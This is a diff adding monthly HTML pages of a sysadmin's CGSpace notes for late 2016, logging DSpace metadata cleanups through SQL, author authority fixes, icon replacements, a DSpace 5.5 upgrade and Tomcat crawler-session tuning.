  • On the production server there is an item with her ORCID but it is using a different authority: f01f7b7b-be3f-4df7-a61d-b73c067de88d
    • +
  • Maybe I used the wrong one… I need to look again at the production database
    • +
  • On a clean snapshot of the database I see the correct authority should be f01f7b7b-be3f-4df7-a61d-b73c067de88d, not fe4b719f-6cc4-4d65-8504-7a83130b9f83
    • +
  • Updating her authorities again and reindexing:
    • +
+
dspacetest=# update metadatavalue set authority='f01f7b7b-be3f-4df7-a61d-b73c067de88d', confidence=600 where metadata_field_id=3 and resource_type_id=2 and text_value like 'Vermeulen, S%';
+UPDATE 101
+
    +
  • Use GitHub icon from Font Awesome instead of a PNG to save one extra network request
    • +
  • We can also replace the RSS and mail icons in community text!
    • +
  • Fix reference to dc.type.* in Atmire CUA module, as we now only index dc.type for “Output type”
    • +
+

2016-09-28

+
    +
  • Make a placeholder pull request for discovery.xml changes (#278), as I still need to test their effect on Atmire content analysis module
    • +
  • Make a placeholder pull request for Font Awesome changes (#279), which replaces the GitHub image in the footer with an icon, and add style for RSS and @ icons that I will start replacing in community/collection HTML intros
    • +
  • Had some issues with local test server after messing with Solr too much, had to blow everything away and re-install from CGSpace
    • +
  • Going to try to update Sonja Vermeulen’s authority to 2b4166b7-6e4d-4f66-9d8b-ddfbec9a6ae0, as that seems to be one of her authorities that has an ORCID
    • +
  • Merge Font Awesome changes (#279)
    • +
  • Minor fix to a string in Atmire’s CUA module (#280)
    • +
  • This seems to be what I’ll need to do for Sonja Vermeulen (but with 2b4166b7-6e4d-4f66-9d8b-ddfbec9a6ae0 instead on the live site):
    • +
+
dspacetest=# update metadatavalue set authority='09e4da69-33a3-45ca-b110-7d3f82d2d6d2', confidence=600 where metadata_field_id=3 and resource_type_id=2 and text_value like 'Vermeulen, S%';
+dspacetest=# update metadatavalue set authority='09e4da69-33a3-45ca-b110-7d3f82d2d6d2', confidence=600 where metadata_field_id=3 and resource_type_id=2 and text_value like 'Vermeulen SJ%';
+
    +
  • And then update Discovery and Authority indexes
    • +
  • Minor fix for “Subject” string in Discovery search and Atmire modules (#281)
    • +
  • Start testing batch fixes for ILRI subject from Peter:
    • +
+
$ ./fix-metadata-values.py -i ilrisubjects-fix-32.csv -f cg.subject.ilri -t correct -m 203 -d dspace -u dspace -p fuuuu
+$ ./delete-metadata-values.py -i ilrisubjects-delete-13.csv -f cg.subject.ilri -m 203 -d dspace -u dspace -p fuuu
+

2016-09-29

+
    +
  • Add cg.identifier.ciatproject to metadata registry in preparation for CIAT project tag
    • +
  • Merge changes for CIAT project tag (#282)
    • +
  • DSpace Test (linode02) became unresponsive for some reason, I had to hard reboot it from the Linode console
    • +
  • People on DSpace mailing list gave me a query to get authors from certain collections:
    • +
+
dspacetest=# select distinct text_value from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 AND resource_id IN (select item_id from collection2item where collection_id IN (select resource_id from handle where handle in ('10568/5472', '10568/5473')));
+

2016-09-30

+
    +
  • Deny access to REST API’s find-by-metadata-field endpoint to protect against an upstream security issue (DS-3250)
    • +
  • There is a patch but it is only for 5.5 and doesn’t apply cleanly to 5.1
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2016-10/index.html b/docs/2016-10/index.html new file mode 100644 index 000000000..a9c9ea2c9 --- /dev/null +++ b/docs/2016-10/index.html @@ -0,0 +1,426 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + October, 2016 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

October, 2016

+

+ + in + +  + +

+
+

2016-10-03

+
    +
  • Testing adding ORCIDs to a CSV file for a single item to see if the author orders get messed up
    • +
  • Need to test the following scenarios to see how author order is affected: +
      +
    • ORCIDs only
      • +
    • ORCIDs plus normal authors
      • +
    +
    • +
  • I exported a random item’s metadata as CSV, deleted all columns except id and collection, and made a new coloum called ORCID:dc.contributor.author with the following random ORCIDs from the ORCID registry:
    • +
+
0000-0002-6115-0956||0000-0002-3812-8793||0000-0001-7462-405X
+
    +
  • Hmm, with the dc.contributor.author column removed, DSpace doesn’t detect any changes
    • +
  • With a blank dc.contributor.author column, DSpace wants to remove all non-ORCID authors and add the new ORCID authors
    • +
  • I added the disclaimer text to the About page, then added a footer link to the disclaimer’s ID, but there is a Bootstrap issue that causes the page content to disappear when using in-page anchors: https://github.com/twbs/bootstrap/issues/1768
    • +
+

Bootstrap issue with in-page anchors

+
    +
  • Looks like we’ll just have to add the text to the About page (without a link) or add a separate page
    • +
+

2016-10-04

+
    +
  • Start testing cleanups of authors that Peter sent last week
    • +
  • Out of 40,000+ rows, Peter had indicated corrections for ~3,200 of them—too many to look through carefully, so I did some basic quality checking: +
      +
    • Trim leading/trailing whitespace
      • +
    • Find invalid characters
      • +
    • Cluster values to merge obvious authors
      • +
    +
    • +
  • That left us with 3,180 valid corrections and 3 deletions:
    • +
+
$ ./fix-metadata-values.py -i authors-fix-3180.csv -f dc.contributor.author -t correct -m 3 -d dspacetest -u dspacetest -p fuuu
+$ ./delete-metadata-values.py -i authors-delete-3.csv -f dc.contributor.author -m 3 -d dspacetest -u dspacetest -p fuuu
+
    +
  • Remove old about page (#284)
    • +
  • CGSpace crashed a few times today
    • +
  • Generate list of unique authors in CCAFS collections:
    • +
+
dspacetest=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 AND resource_id IN (select item_id from collection2item where collection_id IN (select resource_id from handle where handle in ('10568/32729', '10568/5472', '10568/5473', '10568/10288', '10568/70974', '10568/3547', '10568/3549', '10568/3531','10568/16890','10568/5470','10568/3546', '10568/36024', '10568/66581', '10568/21789', '10568/5469', '10568/5468', '10568/3548', '10568/71053', '10568/25167'))) group by text_value order by count desc) to /tmp/ccafs-authors.csv with csv;
+

2016-10-05

+
    +
  • Work on more infrastructure cleanups for Ansible DSpace role
    • +
  • Clean up Let’s Encrypt plumbing and submit pull request for rmg-ansible-public (#60)
    • +
+

2016-10-06

+
    +
  • Nice! DSpace Test (linode02) is now having java.lang.OutOfMemoryError: Java heap space errors…
    • +
  • Heap space is 2048m, and we have 5GB of RAM being used for OS cache (Solr!) so let’s just bump the memory to 3072m
    • +
  • Magdalena from CCAFS asked why the colors in the thumbnails for these two items look different, even though they are the same in the PDF itself
    • +
+

CMYK vs sRGB colors

+
    +
  • Turns out the first PDF was exported from InDesign using CMYK and the second one was using sRGB
    • +
  • Run all system updates on DSpace Test and reboot it
    • +
+

2016-10-08

+
    +
  • Re-deploy CGSpace with latest changes from late September and early October
    • +
  • Run fixes for ILRI subjects and delete blank metadata values:
    • +
+
dspace=# delete from metadatavalue where resource_type_id=2 and text_value='';
+DELETE 11
+
    +
  • Run all system updates and reboot CGSpace
    • +
  • Delete ten gigs of old 2015 Tomcat logs that never got rotated (WTF?):
    • +
+
root@linode01:~# ls -lh /var/log/tomcat7/localhost_access_log.2015* | wc -l
+47
+
    +
  • Delete 2GB cron-filter-media.log file, as it is just a log from a cron job and it doesn’t get rotated like normal log files (almost a year now maybe)
    • +
+

2016-10-14

+
    +
  • Run all system updates on DSpace Test and reboot server
    • +
  • Looking into some issues with Discovery filters in Atmire’s content and usage analysis module after adjusting the filter class
    • +
  • Looks like changing the filters from configuration.DiscoverySearchFilterFacet to configuration.DiscoverySearchFilter breaks them in Atmire CUA module
    • +
+

2016-10-17

+
    +
  • A bit more cleanup on the CCAFS authors, and run the corrections on DSpace Test:
    • +
+
$ ./fix-metadata-values.py -i ccafs-authors-oct-16.csv -f dc.contributor.author -t 'correct name' -m 3 -d dspace -u dspace -p fuuu
+
    +
  • One observation is that there are still some old versions of names in the author lookup because authors appear in other communities (as we only corrected authors from CCAFS for this round)
    • +
+

2016-10-18

+
    +
  • Start working on DSpace 5.5 porting work again:
    • +
+
$ git checkout -b 5_x-55 5_x-prod
+$ git rebase -i dspace-5.5
+
    +
  • Have to fix about ten merge conflicts, mostly in the SCSS for the CGIAR theme
    • +
  • Skip 1e34751b8cf17021f45d4cf2b9a5800c93fb4cb2 in lieu of upstream’s 55e623d1c2b8b7b1fa45db6728e172e06bfa8598 (fixes X-Forwarded-For header) because I had made the same fix myself and it’s better to use the upstream one
    • +
  • I notice this rebase gets rid of GitHub merge commits… which actually might be fine because merges are fucking annoying to deal with when remote people merge without pulling and rebasing their branch first
    • +
  • Finished up applying the 5.5 sitemap changes to all themes
    • +
  • Merge the discovery.xml cleanups (#278)
    • +
  • Merge some minor edits to the distribution license (#285)
    • +
+

2016-10-19

+
    +
  • When we move to DSpace 5.5 we should also cherry pick some patches from 5.6 branch: +
      +
    • memory cleanup: 9f0f5940e7921765c6a22e85337331656b18a403
      • +
    • sql injection: c6fda557f731dbc200d7d58b8b61563f86fe6d06
      • +
    • pdfbox security issue: b5330b78153b2052ed3dc2fd65917ccdbfcc0439
      • +
    +
    • +
+

2016-10-20

+
    +
  • Run CCAFS author corrections on CGSpace
    • +
  • Discovery reindexing took forever and kinda caused CGSpace to crash, so I ran all system updates and rebooted the server
    • +
+

2016-10-25

+
    +
  • Move the LIVES community from the top level to the ILRI projects community
    • +
+
$ /home/cgspace.cgiar.org/bin/dspace community-filiator --set --parent=10568/27629 --child=10568/25101
+
    +
  • Start testing some things for DSpace 5.5, like command line metadata import, PDF media filter, and Atmire CUA
    • +
  • Start looking at batch fixing of “old” ILRI website links without www or https, for example:
    • +
+
dspace=# select * from metadatavalue where resource_type_id=2 and text_value like 'http://ilri.org%';
+
    +
  • Also CCAFS has HTTPS and their links should use it where possible:
    • +
+
dspace=# select * from metadatavalue where resource_type_id=2 and text_value like 'http://ccafs.cgiar.org%';
+
    +
  • And this will find community and collection HTML text that is using the old style PNG/JPG icons for RSS and email (we should be using Font Awesome icons instead):
    • +
+
dspace=# select text_value from metadatavalue where resource_type_id in (3,4) and text_value like '%Iconrss2.png%';
+
    +
  • Turns out there are shit tons of varieties of this, like with http, https, www, separate </img> tags, alignments, etc
    • +
  • Had to find all variations and replace them individually:
    • +
+
dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img align="left" src="https://www.ilri.org/images/Iconrss2.png"/>','<span class="fa fa-rss fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img align="left" src="https://www.ilri.org/images/Iconrss2.png"/>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img align="left" src="https://www.ilri.org/images/email.jpg"/>', '<span class="fa fa-at fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img align="left" src="https://www.ilri.org/images/email.jpg"/>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img align="left" src="http://www.ilri.org/images/Iconrss2.png"/>', '<span class="fa fa-rss fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img align="left" src="http://www.ilri.org/images/Iconrss2.png"/>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img align="left" src="http://www.ilri.org/images/email.jpg"/>', '<span class="fa fa-at fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img align="left" src="http://www.ilri.org/images/email.jpg"/>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img align="left" src="http://www.ilri.org/images/Iconrss2.png"></img>', '<span class="fa fa-rss fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img align="left" src="http://www.ilri.org/images/Iconrss2.png"></img>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img align="left" src="http://www.ilri.org/images/email.jpg"></img>', '<span class="fa fa-at fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img align="left" src="http://www.ilri.org/images/email.jpg"></img>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img align="left" src="https://ilri.org/images/Iconrss2.png"></img>', '<span class="fa fa-rss fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img align="left" src="https://ilri.org/images/Iconrss2.png"></img>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img align="left" src="https://ilri.org/images/email.jpg"></img>', '<span class="fa fa-at fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img align="left" src="https://ilri.org/images/email.jpg"></img>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img align="left" src="https://www.ilri.org/images/Iconrss2.png"></img>', '<span class="fa fa-rss fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img align="left" src="https://www.ilri.org/images/Iconrss2.png"></img>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img align="left" src="https://www.ilri.org/images/email.jpg"></img>', '<span class="fa fa-at fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img align="left" src="https://www.ilri.org/images/email.jpg"></img>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img align="left" src="https://ilri.org/images/Iconrss2.png"/>', '<span class="fa fa-rss fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img align="left" src="https://ilri.org/images/Iconrss2.png"/>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img align="left" src="https://ilri.org/images/email.jpg"/>', '<span class="fa fa-at fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img align="left" src="https://ilri.org/images/email.jpg"/>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img valign="center" align="left" src="https://www.ilri.org/images/Iconrss2.png"/>', '<span class="fa fa-rss fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img valign="center" align="left" src="https://www.ilri.org/images/Iconrss2.png"/>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img valign="center" align="left" src="https://www.ilri.org/images/email.jpg"/>', '<span class="fa fa-at fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img valign="center" align="left" src="https://www.ilri.org/images/email.jpg"/>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img valign="center" align="left" src="http://www.ilri.org/images/Iconrss2.png"/>', '<span class="fa fa-rss fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img valign="center" align="left" src="http://www.ilri.org/images/Iconrss2.png"/>%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, '<img valign="center" align="left" src="http://www.ilri.org/images/email.jpg"/>', '<span class="fa fa-at fa-2x" aria-hidden="true"></span>') where resource_type_id in (3,4) and text_value like '%<img valign="center" align="left" src="http://www.ilri.org/images/email.jpg"/>%';
+
    +
  • Getting rid of these reduces the number of network requests each client makes on community/collection pages, and makes use of Font Awesome icons (which they are already loading anyways!)
    • +
  • And now that I start looking, I want to fix a bunch of links to popular sites that should be using HTTPS, like Twitter, Facebook, Google, Feed Burner, DOI, etc
    • +
  • I should look to see if any of those domains is sending an HTTP 301 or setting HSTS headers to their HTTPS domains, then just replace them
    • +
+

2016-10-27

+
    +
  • Run Font Awesome fixes on DSpace Test:
    • +
+
dspace=# \i /tmp/font-awesome-text-replace.sql
+UPDATE 17
+UPDATE 17
+UPDATE 3
+UPDATE 3
+UPDATE 30
+UPDATE 30
+UPDATE 1
+UPDATE 1
+UPDATE 7
+UPDATE 7
+UPDATE 1
+UPDATE 1
+UPDATE 1
+UPDATE 1
+UPDATE 1
+UPDATE 1
+UPDATE 0
+
    +
  • Looks much better now:
    • +
+

CGSpace with old icons +DSpace Test with Font Awesome icons

+
    +
  • Run the same replacements on CGSpace
    • +
+

2016-10-30

+
    +
  • Fix some messed up authors on CGSpace:
    • +
+
dspace=# update metadatavalue set authority='799da1d8-22f3-43f5-8233-3d2ef5ebf8a8', confidence=600 where metadata_field_id=3 and resource_type_id=2 and text_value like 'Charleston, B.%';
+UPDATE 10
+dspace=# update metadatavalue set authority='e936f5c5-343d-4c46-aa91-7a1fff6277ed', confidence=600 where metadata_field_id=3 and resource_type_id=2 and text_value like 'Knight-Jones%';
+UPDATE 36
+
    +
  • I updated the authority index but nothing seemed to change, so I’ll wait and do it again after I update Discovery below
    • +
  • Skype chat with Tsega about the IFPRI contentdm bridge
    • +
  • We tested harvesting OAI in an example collection to see how it works
    • +
  • Talk to Carlos Quiros about CG Core metadata in CGSpace
    • +
  • Get a list of countries from CGSpace so I can do some batch corrections:
    • +
+
dspace=# \copy (select distinct text_value, count(*) from metadatavalue where metadata_field_id=228 group by text_value order by count desc) to /tmp/countries.csv with csv;
+
    +
  • Fix a bunch of countries in Open Refine and run the corrections on CGSpace:
    • +
+
$ ./fix-metadata-values.py -i countries-fix-18.csv -f dc.coverage.country -t 'correct' -m 228 -d dspace -u dspace -p fuuu
+$ ./delete-metadata-values.py -i countries-delete-2.csv -f dc.coverage.country -m 228 -d dspace -u dspace -p fuuu
+
    +
  • Run a shit ton of author fixes from Peter Ballantyne that we’ve been cleaning up for two months:
    • +
+
$ ./fix-metadata-values.py -i /tmp/authors-fix-pb2.csv -f dc.contributor.author -t correct -m 3 -u dspace -d dspace -p fuuu
+
    +
  • Run a few URL corrections for ilri.org and doi.org, etc:
    • +
+
dspace=# update metadatavalue set text_value = regexp_replace(text_value, 'http://www.ilri.org','https://www.ilri.org') where resource_type_id=2 and text_value like '%http://www.ilri.org%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, 'http://mahider.ilri.org', 'https://cgspace.cgiar.org') where resource_type_id=2 and text_value like '%http://mahider.%.org%' and metadata_field_id not in (28);
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, 'http://dx.doi.org', 'https://dx.doi.org') where resource_type_id=2 and text_value like '%http://dx.doi.org%' and metadata_field_id not in (18,26,28,111);
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, 'http://doi.org', 'https://dx.doi.org') where resource_type_id=2 and text_value like '%http://doi.org%' and metadata_field_id not in (18,26,28,111);
+
    +
  • I skipped metadata fields like citation and description
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2016-11/index.html b/docs/2016-11/index.html new file mode 100644 index 000000000..cac44555c --- /dev/null +++ b/docs/2016-11/index.html @@ -0,0 +1,602 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + November, 2016 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

November, 2016

+

+ + in + +  + +

+
+

2016-11-01

+
    +
  • Add dc.type to the output options for Atmire’s Listings and Reports module (#286)
    • +
+

Listings and Reports with output type

+

2016-11-02

+
    +
  • Migrate DSpace Test to DSpace 5.5 (notes)
    • +
  • Run all updates on DSpace Test and reboot the server
    • +
  • Looks like the OAI bug from DSpace 5.1 that caused validation at Base Search to fail is now fixed and DSpace Test passes validation! (#63)
    • +
  • Indexing Discovery on DSpace Test took 332 minutes, which is like five times as long as it usually takes
    • +
  • At the end it appeared to finish correctly but there were lots of errors right after it finished:
    • +
+
2016-11-02 15:09:48,578 INFO  com.atmire.dspace.discovery.AtmireSolrService @ Wrote Collection: 10568/76454 to Index
+2016-11-02 15:09:48,584 INFO  com.atmire.dspace.discovery.AtmireSolrService @ Wrote Community: 10568/3202 to Index
+2016-11-02 15:09:48,589 INFO  com.atmire.dspace.discovery.AtmireSolrService @ Wrote Collection: 10568/76455 to Index
+2016-11-02 15:09:48,590 INFO  com.atmire.dspace.discovery.AtmireSolrService @ Wrote Community: 10568/51693 to Index
+2016-11-02 15:09:48,590 INFO  org.dspace.discovery.IndexClient @ Done with indexing
+2016-11-02 15:09:48,600 INFO  com.atmire.dspace.discovery.AtmireSolrService @ Wrote Collection: 10568/76456 to Index
+2016-11-02 15:09:48,613 INFO  org.dspace.discovery.SolrServiceImpl @ Wrote Item: 10568/55536 to Index
+2016-11-02 15:09:48,616 INFO  com.atmire.dspace.discovery.AtmireSolrService @ Wrote Collection: 10568/76457 to Index
+2016-11-02 15:09:48,634 ERROR com.atmire.dspace.discovery.AtmireSolrService @
+java.lang.NullPointerException
+        at org.dspace.discovery.SearchUtils.getDiscoveryConfiguration(SourceFile:57)
+        at org.dspace.discovery.SolrServiceImpl.buildDocument(SolrServiceImpl.java:824)
+        at com.atmire.dspace.discovery.AtmireSolrService.indexContent(AtmireSolrService.java:821)
+        at com.atmire.dspace.discovery.AtmireSolrService.updateIndex(AtmireSolrService.java:898)
+        at org.dspace.discovery.SolrServiceImpl.createIndex(SolrServiceImpl.java:370)
+        at org.dspace.storage.rdbms.DatabaseUtils$ReindexerThread.run(DatabaseUtils.java:945)
+
    +
  • DSpace is still up, and a few minutes later I see the default DSpace indexer is still running
    • +
  • Sure enough, looking back before the first one finished, I see output from both indexers interleaved in the log:
    • +
+
2016-11-02 15:09:28,545 INFO  org.dspace.discovery.SolrServiceImpl @ Wrote Item: 10568/47242 to Index
+2016-11-02 15:09:28,633 INFO  org.dspace.discovery.SolrServiceImpl @ Wrote Item: 10568/60785 to Index
+2016-11-02 15:09:28,678 INFO  com.atmire.dspace.discovery.AtmireSolrService @ Processing (55695 of 55722): 43557
+2016-11-02 15:09:28,688 INFO  com.atmire.dspace.discovery.AtmireSolrService @ Processing (55703 of 55722): 34476
+
    +
  • I will raise a ticket with Atmire to ask them
    • +
+

2016-11-06

+
    +
  • After re-deploying and re-indexing I didn’t see the same issue, and the indexing completed in 85 minutes, which is about how long it is supposed to take
    • +
+

2016-11-07

+
    +
  • Horrible one liner to get Linode ID from certain Ansible host vars:
    • +
+
$ grep -A 3 contact_info * | grep -E "(Orth|Sisay|Peter|Daniel|Tsega)" | awk -F'-' '{print $1}' | grep linode | uniq | xargs grep linode_id
+
    +
  • I noticed some weird CRPs in the database, and they don’t show up in Discovery for some reason, perhaps the :
    • +
  • I’ll export these and fix them in batch:
    • +
+
dspace=# \copy (select distinct text_value, count(*) from metadatavalue where metadata_field_id=230 group by text_value order by count desc) to /tmp/crp.csv with csv;
+COPY 22
+
    +
  • Test running the replacements:
    • +
+
$ ./fix-metadata-values.py -i /tmp/CRPs.csv -f cg.contributor.crp -t correct -m 230 -d dspace -u dspace -p 'fuuu'
+
    +
  • Add AMR to ILRI subjects and remove one duplicate instance of IITA in author affiliations controlled vocabulary (#288)
    • +
+

2016-11-08

+
    +
  • Atmire’s Listings and Reports module seems to be broken on DSpace 5.5
    • +
+

Listings and Reports broken in DSpace 5.5

+
    +
  • I’ve filed a ticket with Atmire
    • +
  • Thinking about batch updates for ORCIDs and authors
    • +
  • Playing with SolrClient in Python to query Solr
    • +
  • All records in the authority core are either authority_type:orcid or authority_type:person
    • +
  • There is a deleted field and all items seem to be false, but might be important sanity check to remember
    • +
  • The way to go is probably to have a CSV of author names and authority IDs, then to batch update them in PostgreSQL
    • +
  • Dump of the top ~200 authors in CGSpace:
    • +
+
dspace=# \copy (select distinct text_value, count(*) from metadatavalue where metadata_field_id=3 group by text_value order by count desc limit 210) to /tmp/210-authors.csv with csv;
+

2016-11-09

+
    +
  • CGSpace crashed so I quickly ran system updates, applied one or two of the waiting changes from the 5_x-prod branch, and rebooted the server
    • +
  • The error was Timeout waiting for idle object but I haven’t looked into the Tomcat logs to see what happened
    • +
  • Also, I ran the corrections for CRPs from earlier this week
    • +
+

2016-11-10

+
    +
  • Helping Megan Zandstra and CIAT with some questions about the REST API
    • +
  • Playing with find-by-metadata-field, this works:
    • +
+
$ curl -s -H "accept: application/json" -H "Content-Type: application/json" -X POST "http://localhost:8080/rest/items/find-by-metadata-field" -d '{"key": "cg.subject.ilri","value": "SEEDS"}'
+
    +
  • But the results are deceiving because metadata fields can have text languages and your query must match exactly!
    • +
+
dspace=# select distinct text_value, text_lang from metadatavalue where resource_type_id=2 and metadata_field_id=203 and text_value='SEEDS';
+ text_value | text_lang
+------------+-----------
+ SEEDS      |
+ SEEDS      |
+ SEEDS      | en_US
+(3 rows)
+
    +
  • So basically, the text language here could be null, blank, or en_US
    • +
  • To query metadata with these properties, you can do:
    • +
+
$ curl -s -H "accept: application/json" -H "Content-Type: application/json" -X POST "http://localhost:8080/rest/items/find-by-metadata-field" -d '{"key": "cg.subject.ilri","value": "SEEDS"}' | jq length
+55
+$ curl -s -H "accept: application/json" -H "Content-Type: application/json" -X POST "http://localhost:8080/rest/items/find-by-metadata-field" -d '{"key": "cg.subject.ilri","value": "SEEDS", "language":""}' | jq length
+34
+$ curl -s -H "accept: application/json" -H "Content-Type: application/json" -X POST "http://localhost:8080/rest/items/find-by-metadata-field" -d '{"key": "cg.subject.ilri","value": "SEEDS", "language":"en_US"}' | jq length
+
    +
  • The results (55+34=89) don’t seem to match those from the database:
    • +
+
dspace=# select count(text_value) from metadatavalue where resource_type_id=2 and metadata_field_id=203 and text_value='SEEDS' and text_lang is null;
+ count
+-------
+    15
+dspace=# select count(text_value) from metadatavalue where resource_type_id=2 and metadata_field_id=203 and text_value='SEEDS' and text_lang='';
+ count
+-------
+     4
+dspace=# select count(text_value) from metadatavalue where resource_type_id=2 and metadata_field_id=203 and text_value='SEEDS' and text_lang='en_US';
+ count
+-------
+    66
+
    +
  • So, querying from the API I get 55 + 34 = 89 results, but the database actually only has 85…
    • +
  • And the find-by-metadata-field endpoint doesn’t seem to have a way to get all items with the field, or a wildcard value
    • +
  • I’ll ask a question on the dspace-tech mailing list
    • +
  • And speaking of text_lang, this is interesting:
    • +
+
dspacetest=# select distinct text_lang from metadatavalue where resource_type_id=2;
+ text_lang
+-----------
+
+ ethnob
+ en
+ spa
+ EN
+ es
+ frn
+ en_
+ en_US
+
+ EN_US
+ eng
+ en_U
+ fr
+(14 rows)
+
    +
  • Generate a list of all these so I can maybe fix them in batch:
    • +
+
dspace=# \copy (select distinct text_lang, count(*) from metadatavalue where resource_type_id=2 group by text_lang order by count desc) to /tmp/text-langs.csv with csv;
+COPY 14
+
    +
  • Perhaps we need to fix them all in batch, or experiment with fixing only certain metadatavalues:
    • +
+
dspace=# update metadatavalue set text_lang='en_US' where resource_type_id=2 and metadata_field_id=203 and text_value='SEEDS';
+UPDATE 85
+
    +
  • The fix-metadata.py script I have is meant for specific metadata values, so if I want to update some text_lang values I should just do it directly in the database
    • +
  • For example, on a limited set:
    • +
+
dspace=# update metadatavalue set text_lang=NULL where resource_type_id=2 and metadata_field_id=203 and text_value='LIVESTOCK' and text_lang='';
+UPDATE 420
+
    +
  • And assuming I want to do it for all fields:
    • +
+
dspacetest=# update metadatavalue set text_lang=NULL where resource_type_id=2 and text_lang='';
+UPDATE 183726
+
    +
  • After that restarted Tomcat and PostgreSQL (because I’m superstitious about caches) and now I see the following in REST API query:
    • +
+
$ curl -s -H "accept: application/json" -H "Content-Type: application/json" -X POST "http://localhost:8080/rest/items/find-by-metadata-field" -d '{"key": "cg.subject.ilri","value": "SEEDS"}' | jq length
+71
+$ curl -s -H "accept: application/json" -H "Content-Type: application/json" -X POST "http://localhost:8080/rest/items/find-by-metadata-field" -d '{"key": "cg.subject.ilri","value": "SEEDS", "language":""}' | jq length
+0
+$ curl -s -H "accept: application/json" -H "Content-Type: application/json" -X POST "http://localhost:8080/rest/items/find-by-metadata-field" -d '{"key": "cg.subject.ilri","value": "SEEDS", "language":"en_US"}' | jq length
+
    +
  • Not sure what’s going on, but Discovery shows 83 values, and database shows 85, so I’m going to reindex Discovery just in case
    • +
+

2016-11-14

+
    +
  • I applied Atmire’s suggestions to fix Listings and Reports for DSpace 5.5 and now it works
    • +
  • There were some issues with the dspace/modules/jspui/pom.xml, which is annoying because all I did was rebase our working 5.1 code on top of 5.5, meaning Atmire’s installation procedure must have changed
    • +
  • So there is apparently this Tomcat native way to limit web crawlers to one session: Crawler Session Manager
    • +
  • After adding that to server.xml bots matching the pattern in the configuration will all use ONE session, just like normal users:
    • +
+
$ http --print h https://dspacetest.cgiar.org 'User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'
+HTTP/1.1 200 OK
+Connection: keep-alive
+Content-Encoding: gzip
+Content-Language: en-US
+Content-Type: text/html;charset=utf-8
+Date: Mon, 14 Nov 2016 19:47:29 GMT
+Server: nginx
+Set-Cookie: JSESSIONID=323694E079A53D5D024F839290EDD7E8; Path=/; Secure; HttpOnly
+Transfer-Encoding: chunked
+Vary: Accept-Encoding
+X-Cocoon-Version: 2.2.0
+X-Robots-Tag: none
+
+$ http --print h https://dspacetest.cgiar.org 'User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'
+HTTP/1.1 200 OK
+Connection: keep-alive
+Content-Encoding: gzip
+Content-Language: en-US
+Content-Type: text/html;charset=utf-8
+Date: Mon, 14 Nov 2016 19:47:35 GMT
+Server: nginx
+Transfer-Encoding: chunked
+Vary: Accept-Encoding
+X-Cocoon-Version: 2.2.0
+
    +
  • The first one gets a session, and any after that — within 60 seconds — will be internally mapped to the same session by Tomcat
    • +
  • This means that when Google or Baidu slam you with tens of concurrent connections they will all map to ONE internal session, which saves RAM!
    • +
+

2016-11-15

+
    +
  • The Tomcat JVM heap looks really good after applying the Crawler Session Manager fix on DSpace Test last night:
    • +
+

Tomcat JVM heap (day) after setting up the Crawler Session Manager +Tomcat JVM heap (week) after setting up the Crawler Session Manager

+
    +
  • Seems the default regex doesn’t catch Baidu, though:
    • +
+
$ http --print h https://dspacetest.cgiar.org 'User-Agent:Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'
